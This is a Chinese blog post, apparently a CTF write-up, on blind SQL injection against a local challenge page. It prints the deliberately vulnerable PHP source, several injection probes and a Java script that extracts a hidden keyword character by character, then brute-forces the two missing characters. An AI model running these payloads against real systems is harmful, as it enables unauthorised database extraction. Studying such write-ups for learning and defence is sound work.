zoukankan      html  css  js  c++  java
  • 利用java编写的盲注脚本

    之前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程中的坑

    题目源码:

    <?php
    header("Content-Type: text/html;charset=utf-8");
    session_start();
    require_once 'sql.php';
    if((!isset($_SESSION["session"])) or (!isset($_COOKIE["username"]))){
        echo "您还未登录,3秒后跳转到登录处!";
        header("Refresh:3;url=index.php");
        exit();
    }
    
    function inject_check($sql_str) {
        return preg_match('|$|', $sql_str); 
    }
    
    if ($_COOKIE["PHPSESSID"] == $_SESSION["session"]){
        if (inject_check($_GET['id'])){
            header("HTTP/1.1 400 Bad Request");
            exit('GET 400 Bad Request:/'.$_SERVER['QUERY_STRING']);
        }else{
            $id=$_GET['id'];
        }
            mysql_select_db("test",$conn) or exit("DB Select Failure</br>");
            $sql="select * from id where id = $id";//注入点
            $res=mysql_query($sql,$conn) or exit("DB Query Failure</br>");
            $num = mysql_num_rows($res);
            echo "Return ".$num." rows";
    }else{
        header("location:index.php");
    }
    
    ?>

    从源码中来读可以发现,SQL语句是直接拼接的,其中只用了正则匹配了$符号

    (但因为比赛的时候没有源码,导致我脚本一直没跑对)

    发现访问页面后,会返回查询SQL的返回条数

    直接返回Return 1 rows,当我们在后面输入 and 1=2的时候

    返回就变成0条了

    可以初步判断存在注入,题目又给出了表名和要跑的列名

     

    利用MySQL的length函数判断keyword的长度

    select * from id where id = 1 and length((select keyword from id))=13

    判断出keyword的长度为13,进一步利用substr函数一字符一字符的获取,并与字典比较

    当相等时,页面就会返回Return 1 rows

    利用java编写脚本

    大概盲注思路出来后,便用java编写脚本

    程序中,放入两个嵌套循环,一个控制我们substr获取的偏移数,另一个循环控制我们要对比的字符

    阅读题目源码的时候发现,页面会对session和cookie中的username参数做验证,如果不存在,则会跳转到登录页面

    所以访问的时候还得带上cookie

    脚本源码如下:

    package test;
    
    import java.io.BufferedReader;
    import java.io.FileReader;
    import java.io.IOException;
    import java.io.InputStreamReader;
    import java.net.MalformedURLException;
    import java.net.URL;
    import java.net.URLConnection;
    
    public class sql {
    
        public static void main(String[] args) throws IOException {
            // TODO Auto-generated method stub
            BufferedReader in = null;
            String cookie = "username=admin;PHPSESSID=72nd4r1p9g4o6fqp5hhrri0sh5"; 
            URL url = null;
            String str = null;
            for (int i=1;i<14;i++) {
                String cs=String.valueOf(i);
                in = new BufferedReader(new FileReader("C:\Users\Administrator\Desktop\superdic.txt"));
                while((str = in.readLine()) != null) {
                    String urlPath = "http://localhost/flag.php?id=1%20and%20substr((select%20keyword%20from%20id),"+cs+",1)='"+str+"'";;
                    try {
                        url = new URL(urlPath);
                    } catch (MalformedURLException e) {
                        System.out.println("error:"+cs);
                    } 
                    URLConnection conn = url.openConnection(); 
                    conn.setRequestProperty("Cookie", cookie); 
                    conn.setDoInput(true); 
                    BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); 
                    StringBuilder sb = new StringBuilder(); 
                    String line = null; 
                    line = br.readLine();
                    sb.append(line);
                    if("Return 1 rows".equals(sb.toString())) {
                        System.out.println(cs+str);
                        break;
                    }
                }
            }
            
            in.close();
        }
    
    }

    其中C:\Users\Administrator\Desktop\superdic.txt中存放的就是我们要对比的字符字典

    运行脚本后发现

    程序返回400了

    我们刚才注入length函数返回的结果明明是13,怎么这只跑出来三个字符就结束了(其实是过滤了)

    我们把字典中的$去掉,接着跑

    可以看到,跑是跑出来了,可以缺了第4个和第10个字符

    所以只能得到Key?s+P4y?0ad的字符串其中两个字符未知

    通过爆破得到

    既然注入不出来,那我就到提交flag的地方爆破

    将我们刚才注入的结果写入

    然后抓包

    抓包模式一定要选择Cluster bomb

    然后配置好后,开始爆破

    爆破发现,不管怎么查看结果都是错误的,Length都是一样长

    后面反省自己是不是什么步骤错了

    URL怀疑人生

    反复查看自己的脚本,发现我的脚本去请求服务器的时候会进行一次URL解密

    而+号解密的结果正好是空格.....

    所以只需要在刚才爆破的时候把%2B改成+就可以了

    最后得到flag:

  • 相关阅读:
    Protobuf
    CPU profiling
    转 Unicode 和 UTF-8 的区别
    Redis数据结构底层知识总结
    MySQL 加锁处理分析 ---非常牛逼
    MySQL Gap Lock问题
    利用Linux文件系统内存cache来提高性能
    Xcode7安装CocoaPods
    字符串排列组合算法
    iOS项目开发实战——学会使用TableView列表控件(四)plist读取与Section显示
  • 原文地址:https://www.cnblogs.com/wh4am1/p/10161875.html
Copyright © 2011-2022 走看看